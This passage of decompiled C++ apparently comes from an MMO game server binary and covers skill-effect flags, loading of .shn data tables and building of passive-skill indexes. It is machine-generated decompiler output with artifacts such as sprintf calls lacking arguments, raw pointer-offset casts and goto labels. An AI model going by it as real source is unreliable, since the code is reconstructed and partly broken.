this->sdi_BOMBDISPELALL.value = 0; *(_DWORD *)&this->sdi_AREATYPE.exist = clear; this->sdi_AREATYPE.value = 0; *(_DWORD *)&this->sdi_DMGCOLLTIMEDOWN.exist = clear; this->sdi_DMGCOLLTIMEDOWN.value = 0; *(_DWORD *)&this->sdi_POSIONTIMEADD.exist = clear; this->sdi_POSIONTIMEADD.value = 0; *(_DWORD *)&this->sdi_HOLDME.exist = clear; this->sdi_HOLDME.value = 0; *(_DWORD *)&this->sdi_CURSETIMEADD.exist = clear; this->sdi_CURSETIMEADD.value = 0; *(_DWORD *)&this->sdi_FIRETIMEADD.exist = clear; this->sdi_FIRETIMEADD.value = 0; *(_DWORD *)&this->sdi_SHOOTME.exist = clear; this->sdi_SHOOTME.value = 0; *(_DWORD *)&this->sdi_JWALK.exist = clear; this->sdi_JWALK.value = 0; *(_DWORD *)&this->sdi_PYRATEDAMAGE.exist = clear; this->sdi_PYRATEDAMAGE.value = 0; *(_DWORD *)&this->sdi_DISPELDEEPER.exist = clear; this->sdi_DISPELDEEPER.value = 0; *(_DWORD *)&this->sdi_DISPELDISEASE.exist = clear; this->sdi_DISPELDISEASE.value = 0; *(_DWORD *)&this->sdi_DISPELPOISON.exist = clear; this->sdi_DISPELPOISON.value = 0; *(_DWORD *)&this->sdi_DISPELCURSE.exist = clear; this->sdi_DISPELCURSE.value = 0; *(_DWORD *)&this->sdi_DISPELDEBUFF.exist = clear; this->sdi_DISPELDEBUFF.value = 0; *(_DWORD *)&this->sdi_SILVERWING.exist = clear; this->sdi_SILVERWING.value = 0; *(_DWORD *)&this->sdi_FLYDURINGCAST.exist = clear; this->sdi_FLYDURINGCAST.value = 0; *(_DWORD *)&this->sdi_HPUPRATE.exist = clear; this->sdi_HPUPRATE.value = 0; *(_DWORD *)&this->sdi_HPCONVERTSP.exist = clear; this->sdi_HPCONVERTSP.value = 0; *(_DWORD *)&this->sdi_STEALENCHANT.exist = clear; this->sdi_STEALENCHANT.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_KEEP.exist = clear; this->sdi_MAGICFIELD_KEEP.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_TICK.exist = clear; this->sdi_MAGICFIELD_TICK.value = 0; *(_DWORD *)&this->sdi_REVIVAL.exist = clear; this->sdi_REVIVAL.value = 0; *(_DWORD *)&this->sdi_DIEHPUP.exist = clear; this->sdi_DIEHPUP.value = 0; *(_DWORD *)&this->sdi_THHPUP.exist = clear; this->sdi_THHPUP.value = 0; *(_DWORD *)&this->sdi_DISPELONE.exist = clear; this->sdi_DISPELONE.value = 0; *(_DWORD *)&this->sdi_WARPING_TARGET.exist = clear; this->sdi_WARPING_TARGET.value = 0; *(_DWORD *)&this->sdi_CROSSCOUNTER.exist = clear; this->sdi_CROSSCOUNTER.value = 0; *(_DWORD *)&this->sdi_DETECT.exist = clear; this->sdi_DETECT.value = 0; *(_DWORD *)&this->sdi_WARPING.exist = clear; this->sdi_WARPING.value = 0; *(_DWORD *)&this->sdi_WHOLEAGGRORANGE.exist = clear; this->sdi_WHOLEAGGRORANGE.value = 0; *(_DWORD *)&this->sdi_WHOLEAGGRORATE.exist = clear; this->sdi_WHOLEAGGRORATE.value = 0; *(_DWORD *)&this->sdi_DISPELRANDOM.exist = clear; this->sdi_DISPELRANDOM.value = 0; *(_DWORD *)&this->sdi_DISPELALL.exist = clear; this->sdi_DISPELALL.value = 0; *(_DWORD *)&this->sdi_UNDEADTODMG.exist = clear; this->sdi_UNDEADTODMG.value = 0; *(_DWORD *)&this->sdi_MANABURN.exist = clear; this->sdi_MANABURN.value = 0; *(_DWORD *)&this->sdi_WHOLEHEALAMOUNT.exist = clear; this->sdi_WHOLEHEALAMOUNT.value = 0; *(_DWORD *)&this->sdi_TELEPORT.exist = clear; this->sdi_TELEPORT.value = 0; *(_DWORD *)&this->sdi_DISPEL.exist = clear; this->sdi_DISPEL.value = 0; *(_DWORD *)&this->sdi_CURE.exist = clear; this->sdi_CURE.value = 0; *(_DWORD *)&this->sdi_HEALAMOUNT.exist = clear; this->sdi_HEALAMOUNT.value = 0; } //----- (00552EB0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_SetArgument(SkillDataBox::SkillDataIndex *this, SkillSpecial ss, int arg) { switch ( ss ) { case 1: this->sdi_HEALAMOUNT.exist = 1; this->sdi_HEALAMOUNT.value = arg; break; case 2: this->sdi_CURE.exist = 1; this->sdi_CURE.value = arg; break; case 3: this->sdi_DISPEL.exist = 1; this->sdi_DISPEL.value = arg; break; case 4: this->sdi_TELEPORT.exist = 1; this->sdi_TELEPORT.value = arg; break; case 5: this->sdi_WHOLEHEALAMOUNT.exist = 1; this->sdi_WHOLEHEALAMOUNT.value = arg; break; case 6: this->sdi_MANABURN.exist = 1; this->sdi_MANABURN.value = arg; break; case 7: this->sdi_UNDEADTODMG.exist = 1; this->sdi_UNDEADTODMG.value = arg; break; case 8: this->sdi_DISPELALL.exist = 1; this->sdi_DISPELALL.value = arg; break; case 9: this->sdi_DISPELONE.exist = 1; this->sdi_DISPELONE.value = arg; break; case 27: this->sdi_DISPELRANDOM.exist = 1; this->sdi_DISPELRANDOM.value = arg; break; case 25: this->sdi_WHOLEAGGRORATE.exist = 1; this->sdi_WHOLEAGGRORATE.value = arg; break; case 29: this->sdi_WHOLEAGGRORANGE.exist = 1; this->sdi_WHOLEAGGRORANGE.value = arg; break; case 39: this->sdi_WARPING_TARGET.exist = 1; this->sdi_WARPING_TARGET.value = arg; this->sdi_WARPING.value = arg; break; case 26: case 37: this->sdi_WARPING.exist = 1; this->sdi_WARPING.value = arg; break; case 28: this->sdi_DETECT.exist = 1; this->sdi_DETECT.value = arg; break; case 35: this->sdi_CROSSCOUNTER.exist = 1; this->sdi_CROSSCOUNTER.value = arg; break; case 10: this->sdi_THHPUP.exist = 1; this->sdi_THHPUP.value = arg; break; case 11: this->sdi_DIEHPUP.exist = 1; this->sdi_DIEHPUP.value = arg; break; case 12: this->sdi_REVIVAL.exist = 1; this->sdi_REVIVAL.value = arg; break; case 13: this->sdi_MAGICFIELD_TICK.exist = 1; this->sdi_MAGICFIELD_TICK.value = arg; break; case 14: this->sdi_MAGICFIELD_KEEP.exist = 1; this->sdi_MAGICFIELD_KEEP.value = arg; break; case 16: this->sdi_STEALENCHANT.exist = 1; this->sdi_STEALENCHANT.value = arg; break; case 17: this->sdi_HPCONVERTSP.exist = 1; this->sdi_HPCONVERTSP.value = arg; break; case 18: this->sdi_HPUPRATE.exist = 1; this->sdi_HPUPRATE.value = arg; break; case 19: this->sdi_FLYDURINGCAST.exist = 1; this->sdi_FLYDURINGCAST.value = arg; break; case 20: this->sdi_SILVERWING.exist = 1; this->sdi_SILVERWING.value = arg; break; case 21: this->sdi_DISPELDEBUFF.exist = 1; this->sdi_DISPELDEBUFF.value = arg; break; case 22: this->sdi_DISPELCURSE.exist = 1; this->sdi_DISPELCURSE.value = arg; break; case 23: this->sdi_DISPELPOISON.exist = 1; this->sdi_DISPELPOISON.value = arg; break; case 24: this->sdi_DISPELDISEASE.exist = 1; this->sdi_DISPELDISEASE.value = arg; break; case 15: this->sdi_DISPELDEEPER.exist = 1; this->sdi_DISPELDEEPER.value = arg; break; case 36: this->sdi_PYRATEDAMAGE.exist = 1; this->sdi_PYRATEDAMAGE.value = arg; break; case 45: this->sdi_SHOOTME.exist = 1; this->sdi_SHOOTME.value = arg; break; case 40: this->sdi_JWALK.exist = 1; this->sdi_JWALK.value = arg; break; case 41: this->sdi_FIRETIMEADD.exist = 1; this->sdi_FIRETIMEADD.value = arg; break; case 42: this->sdi_CURSETIMEADD.exist = 1; this->sdi_CURSETIMEADD.value = arg; break; case 43: this->sdi_HOLDME.exist = 1; this->sdi_HOLDME.value = arg; break; case 44: this->sdi_POSIONTIMEADD.exist = 1; this->sdi_POSIONTIMEADD.value = arg; break; case 46: this->sdi_DMGCOLLTIMEDOWN.exist = 1; this->sdi_DMGCOLLTIMEDOWN.value = arg; break; case 47: this->sdi_AREATYPE.exist = 1; this->sdi_AREATYPE.value = arg; break; case 48: this->sdi_BOMBDISPELALL.exist = 1; this->sdi_BOMBDISPELALL.value = arg; break; case 49: this->sdi_MAGICFIELD_PARTY.exist = 1; this->sdi_MAGICFIELD_PARTY.value = arg; break; case 50: this->sdi_HEALFRIENDRATE.exist = 1; this->sdi_HEALFRIENDRATE.value = arg; break; case 51: this->sdi_SETABSTATEFRIEND.exist = 1; this->sdi_SETABSTATEFRIEND.value = arg; break; case 52: this->sdi_RANDOMTARGETNUMBER.exist = 1; this->sdi_RANDOMTARGETNUMBER.value = arg; break; case 53: this->sdi_NEXTTARGETAREA.exist = 1; this->sdi_NEXTTARGETAREA.value = arg; break; case 54: this->sdi_DMGDOWNRATE.exist = 1; this->sdi_DMGDOWNRATE.value = arg; break; case 55: this->sdi_MAXDMGDOWNRATE.exist = 1; this->sdi_MAXDMGDOWNRATE.value = arg; break; case 56: this->sdi_SHOTSPEED.exist = 1; this->sdi_SHOTSPEED.value = arg; break; case 57: this->sdi_TARGETHPDOWNDMGUPRATE.exist = 1; this->sdi_TARGETHPDOWNDMGUPRATE.value = arg; break; case 58: this->sdi_JUMP.exist = 1; this->sdi_JUMP.value = arg; break; case 59: this->sdi_SETABSTATEME.exist = 1; this->sdi_SETABSTATEME.value = arg; break; case 60: this->sdi_NOTTARGET.exist = 1; this->sdi_NOTTARGET.value = arg; break; case 61: this->sdi_ABKEEPTIME.exist = 1; this->sdi_ABKEEPTIME.value = arg; break; case 63: this->sdi_RANDOMTARGET.exist = 1; this->sdi_RANDOMTARGET.value = arg; break; case 62: this->sdi_TOPAGGRONO.exist = 1; this->sdi_TOPAGGRONO.value = arg; break; default: return; } } //----- (00553430) -------------------------------------------------------- char __thiscall PassiveDataBox::sdb_Next(PassiveDataBox *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < this->pdb_passivenumber; } //----- (00553450) -------------------------------------------------------- PassiveDataBox::PSSetAbstateIndex *__thiscall PassiveDataBox::sdb_GetSetAbstate(PassiveDataBox *this, unsigned __int16 nID) { PassiveDataBox::PSSetAbstateIndex *v2; // esi@1 PassiveDataBox::PSSetAbstateIndex *result; // eax@1 int v4; // edx@2 PassiveDataBox::PSSetAbstateIndex *v5; // ecx@3 v2 = this->pdb_pPSkillSetAbstate; result = 0; if ( v2 ) { v4 = this->pdb_nMaxPSkillSetAbstateNum; if ( v4 <= 0 ) { LABEL_6: result = 0; } else { v5 = this->pdb_pPSkillSetAbstate; while ( v5->pssabs_nID != nID ) { result = (PassiveDataBox::PSSetAbstateIndex *)((char *)result + 1); ++v5; if ( (signed int)result >= v4 ) goto LABEL_6; } result = &v2[(_DWORD)result]; } } return result; } //----- (00553490) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x410u, 0x4Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00553540) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x2226Cu, 0x299u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00553600) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x57u, 0x45u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005536B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x12u, 0x24u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00553760) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1Du, 0x26u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00553810) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1C00u, 0xF0u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005538D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xA9u, 0x47u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00553980) -------------------------------------------------------- BinaryData *__thiscall SkillDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x298u); LOBYTE(v1[12].baseclass_0.m_nBFSize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 728)); memset(&v1[13].baseclass_0.m_nDataArraySize, 0, 0x4Cu); *(_WORD *)&v1[14].baseclass_0.m_sFileMD5.n8_name[8] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 868)); memset(&v1[15].baseclass_0.m_sFileMD5.n8_name[12], 0, 0x44u); v1[16].baseclass_0.m_sFileMD5.n8_name[20] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1000)); *(_DWORD *)&v1[17].baseclass_0.m_sFileMD5.n8_name[24] = 0; *(_DWORD *)&v1[17].baseclass_0.m_sFileMD5.n8_name[28] = 0; v1[17].baseclass_0.m_pHead = 0; v1[17].baseclass_0.m_pData = 0; v1[17].baseclass_0.m_pDataArray = 0; v1[18].baseclass_0.m_nFileSize = 0; v1[18].baseclass_0.m_nBFSize = 0; v1[18].baseclass_0.m_nDataArraySize = 0; v1[18].baseclass_0.m_nFileCheckSum = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1096)); *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[0] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[4] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[8] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[12] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[16] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[20] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[24] = 0; *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[28] = 0; v1[19].baseclass_0.m_pHead = 0; LOWORD(v1[19].baseclass_0.m_pData) = 0; return v1; } //----- (00553A70) -------------------------------------------------------- void __thiscall SkillDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 1096)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 1000)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 868)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 728)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00553AF0) -------------------------------------------------------- void __thiscall PassiveDataBox::PassiveDataBox(PassiveDataBox *this) { PassiveDataBox *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->pdb_databox; CCharacterTitleData::CCharacterTitleData(&this->pdb_databox.baseclass_0); memset(v2 + 60, 0, 0xF0u); CCharacterTitleData::CCharacterTitleData(&v1->pdb_SetAbstateDataBox.baseclass_0); memset(&v1->pdb_SetAbstateDataBox.bdb_defaultblock, 0, 0x44u); *(_WORD *)&v1->pdb_SetAbstateDataBox.bdb_defaultblock.PS_AbStateInx[30] = 0; v1->pdb_SetAbstateDataBox.bdb_defaultblock.Strength = 0; v1->pdb_default = &v1->pdb_databox.bdb_defaultblock; v1->pdb_databox.bdb_defaultblock.ID = -1; v1->pdb_databox.bdb_defaultblock.MstRtStaff2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtWand2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtCrossBow2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtBow2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtMace1 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtAxe2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtSword2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtHammer1 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtSword1 = 1000; v1->pdb_index = 0; v1->pdb_databox.bdb_defaultblock.Name[0] = 0; v1->pdb_databox.bdb_defaultblock.InxName[0] = 0; v1->pdb_databox.bdb_defaultblock.MstPlStaff2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlWand2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlCrossBow2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlBow2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlMace1 = 0; v1->pdb_databox.bdb_defaultblock.MstPlAxe2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlSword2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlHammer1 = 0; v1->pdb_databox.bdb_defaultblock.MstPlSword1 = 0; v1->pdb_databox.bdb_defaultblock.SPRecover = 0; v1->pdb_databox.bdb_defaultblock.TB = 0; v1->pdb_databox.bdb_defaultblock.Intel = 0; v1->pdb_databox.bdb_defaultblock.CastingTime = 0; v1->pdb_nMaxPSkillSetAbstateNum = 0; v1->pdb_pPSkillSetAbstate = 0; } //----- (00553C10) -------------------------------------------------------- void __thiscall PassiveDataBox::_PassiveDataBox(PassiveDataBox *this) { PassiveDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->pdb_pPSkillSetAbstate; if ( v2 ) operator delete__(v2); CCharacterTitleData::_CCharacterTitleData(&v1->pdb_SetAbstateDataBox.baseclass_0); CCharacterTitleData::_CCharacterTitleData(&v1->pdb_databox.baseclass_0); } //----- (00553C80) -------------------------------------------------------- void __thiscall PassiveDataBox::pdb_Load(PassiveDataBox *this, Name4 *world) { PassiveDataBox *v2; // ebp@1 char *v3; // ebx@1 unsigned int v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // eax@3 void *v8; // eax@7 unsigned int v9; // ST04_4@11 void *v10; // eax@11 int j; // eax@14 void *v12; // eax@18 int v13; // esi@20 void *v14; // eax@24 unsigned int v15; // eax@27 unsigned __int16 v16; // si@27 CDataReader::HEAD *v17; // eax@30 int v18; // eax@30 void *v19; // eax@30 unsigned int v20; // eax@33 int v21; // edi@34 void *v22; // ebx@37 unsigned int v23; // eax@39 unsigned __int16 v24; // si@39 void *v25; // eax@45 const char *v26; // ebx@47 int v27; // edi@47 int v28; // esi@47 signed int v29; // ecx@47 bool v30; // zf@47 unsigned int v31; // eax@51 __int16 v32; // si@51 PassiveDataBox::PSSetAbstateIndex *v33; // edx@54 int v34; // eax@55 PassiveDataBox::PSSetAbstateIndex *v35; // ecx@56 int v36; // eax@60 int v37; // ecx@63 bool v38; // sf@63 unsigned __int8 v39; // of@63 int v40; // [sp+10h] [bp-8h]@34 unsigned int i; // [sp+14h] [bp-4h]@33 v2 = this; v3 = (char *)&this->pdb_databox; BinaryDataBox::bdb_ReadData(&this->pdb_databox, "../9Data/Hero/PassiveSkill.shn"); BinaryDataBox::bdb_ReadData(&v2->pdb_SetAbstateDataBox, "../9Data/Hero/PSkillSetAbstate.shn"); v4 = 0; v5 = v2->pdb_databox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = 0; v2->pdb_passivenumber = v5; v2->pdb_maxpassiveID = 0; if ( v5 > 0 ) { do { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v3, v6); else v7 = v3 + 60; if ( v2->pdb_maxpassiveID < *(_WORD *)v7 ) { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v8 = CDataReader::GetRecord((CDataReader *)v3, v6); else v8 = v3 + 60; v2->pdb_maxpassiveID = *(_WORD *)v8; } ++v6; } while ( (signed int)v6 < v2->pdb_passivenumber ); } v9 = 4 * (v2->pdb_maxpassiveID++ + 1); v10 = operator new__(v9); v2->pdb_index = (PassiveSkillInfo **)v10; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Fail to alloc memory", 0); ShineExit("PassiveDataBox::pdb_Load"); } for ( j = 0; j < v2->pdb_maxpassiveID; ++j ) v2->pdb_index[j] = &v2->pdb_databox.bdb_defaultblock; if ( v2->pdb_passivenumber > 0 ) { do { if ( v4 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v12 = CDataReader::GetRecord((CDataReader *)v3, v4); else v12 = v3 + 60; v13 = *(_WORD *)v12; if ( v2->pdb_index[v13] != &v2->pdb_databox.bdb_defaultblock ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Dublicate id", v13); ShineExit("PassiveDataBox::pdb_Load"); } if ( v4 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v14 = CDataReader::GetRecord((CDataReader *)v3, v4); else v14 = v3 + 60; v2->pdb_index[v13] = (PassiveSkillInfo *)v14; v2->pdb_index[v13]->MstPlTmp = 0; v2->pdb_index[v13]->MstRtTmp = 1000; skillbtreeunion = v2->pdb_index[v13]->ID; *((_BYTE *)&skillbtreeunion + 2) = 1; BTree::bt_Insert(&skillnametree, v2->pdb_index[v13]->InxName, *(unsigned int *)&skillbtreeunion); ++v4; } while ( (signed int)v4 < v2->pdb_passivenumber ); } v15 = BTree::operator__(&skillnametree, "PowerofLove01"); v16 = v15; if ( v15 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::sdb_MakeSpecialSkill : Invalid Skill", "PowerofLove01"); ShineExit("PassiveDataBox::sdb_MakeSpecialSkill"); } v17 = v2->pdb_SetAbstateDataBox.baseclass_0.baseclass_0.m_pHead; v2->sdb_SpecSkill.ss_PowerOfLove = v16; v18 = v17->nNumOfRecord; v2->pdb_nMaxPSkillSetAbstateNum = v18; v19 = operator new__(16 * v18); v2->pdb_pPSkillSetAbstate = (PassiveDataBox::PSSetAbstateIndex *)v19; if ( !v19 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Fail to alloc memory", 0); ShineExit("PassiveDataBox::pdb_Load"); } v20 = 0; i = 0; if ( v2->pdb_nMaxPSkillSetAbstateNum > 0 ) { v21 = 0; v40 = 0; while ( 1 ) { if ( v20 < v2->pdb_SetAbstateDataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v2->pdb_SetAbstateDataBox.baseclass_0.baseclass_0, v20); else v22 = &v2->pdb_SetAbstateDataBox.bdb_defaultblock; v23 = BTree::operator__(&skillnametree, (const char *)v22); v24 = v23; if ( v23 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "PassiveDataBox::sdb_MakeSpecialSkill : Invalid Skill", (const char *)v22); ShineExit("PassiveDataBox::sdb_MakeSpecialSkill"); } if ( (_WORD)v23 != -1 && (unsigned __int16)v23 < v2->pdb_maxpassiveID ) { *(unsigned __int16 *)((char *)&v2->pdb_pPSkillSetAbstate->pssabs_nID + v21) = v23; if ( i < v2->pdb_SetAbstateDataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v25 = CDataReader::GetRecord(&v2->pdb_SetAbstateDataBox.baseclass_0.baseclass_0, i); else v25 = &v2->pdb_SetAbstateDataBox.bdb_defaultblock; *(PSkillSetAbstate **)((char *)&v2->pdb_pPSkillSetAbstate->pssabs_pPSkillSetAbstate + v21) = (PSkillSetAbstate *)v25; *(PassiveDataBox::PSSetAbstateIndex **)((char *)&v2->pdb_pPSkillSetAbstate->pssabs_Prev + v21) = 0; *(PassiveDataBox::PSSetAbstateIndex **)((char *)&v2->pdb_pPSkillSetAbstate->pssabs_Next + v21) = 0; v26 = v2->pdb_index[v24]->DemandSk; v27 = (int)"-"; v28 = (int)v2->pdb_index[v24]->DemandSk; v29 = 2; v30 = 1; do { if ( !v29 ) break; v30 = *(_BYTE *)v28++ == *(_BYTE *)v27++; --v29; } while ( v30 ); if ( !v30 ) { v31 = BTree::operator__(&skillnametree, v26); v32 = v31; if ( v31 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::sdb_MakeSpecialSkill : Invalid Skill", v26); ShineExit("PassiveDataBox::sdb_MakeSpecialSkill"); } v33 = v2->pdb_pPSkillSetAbstate; if ( v33 ) { v34 = 0; if ( v2->pdb_nMaxPSkillSetAbstateNum > 0 ) { v35 = v2->pdb_pPSkillSetAbstate; while ( v35->pssabs_nID != v32 ) { ++v34; ++v35; if ( v34 >= v2->pdb_nMaxPSkillSetAbstateNum ) goto LABEL_62; } v36 = (int)&v33[v34]; if ( v36 ) { *(PassiveDataBox::PSSetAbstateIndex **)((char *)&v33->pssabs_Prev + v40) = (PassiveDataBox::PSSetAbstateIndex *)v36; *(_DWORD *)(v36 + 12) = (char *)v2->pdb_pPSkillSetAbstate + v40; } } } } LABEL_62: v21 = v40; } v37 = v2->pdb_nMaxPSkillSetAbstateNum; v21 += 16; v39 = __OFSUB__(i + 1, v37); v38 = ((i++ + 1 - v37) & 0x80000000u) != 0; v40 = v21; if ( !(v38 ^ v39) ) break; v20 = i; } } } //----- (005540A0) -------------------------------------------------------- PassiveSkillInfo *__thiscall PassiveDataBox::sdb_Get(PassiveDataBox *this, int *sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 PassiveSkillInfo *result; // eax@3 if ( *sub >= this->pdb_passivenumber ) { result = this->pdb_default; } else { v2 = this->pdb_databox.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->pdb_databox; if ( *sub < v2->nNumOfRecord ) result = (PassiveSkillInfo *)CDataReader::GetRecord((CDataReader *)v3, *sub); else result = (PassiveSkillInfo *)(v3 + 60); } return result; } //----- (005540D0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataBox(SkillDataBox *this) { SkillDataBox *v1; // esi@1 v1 = this; SkillDataBox::__unnamed::__unnamed(&this->sdb_BinData.info.baseclass_0); v1->sdb_ValidArray = 0; } //----- (005540F0) -------------------------------------------------------- void __thiscall SkillDataBox::_SkillDataBox(SkillDataBox *this) { BinaryData *v1; // edi@1 void *v2; // eax@1 void *v3; // esi@2 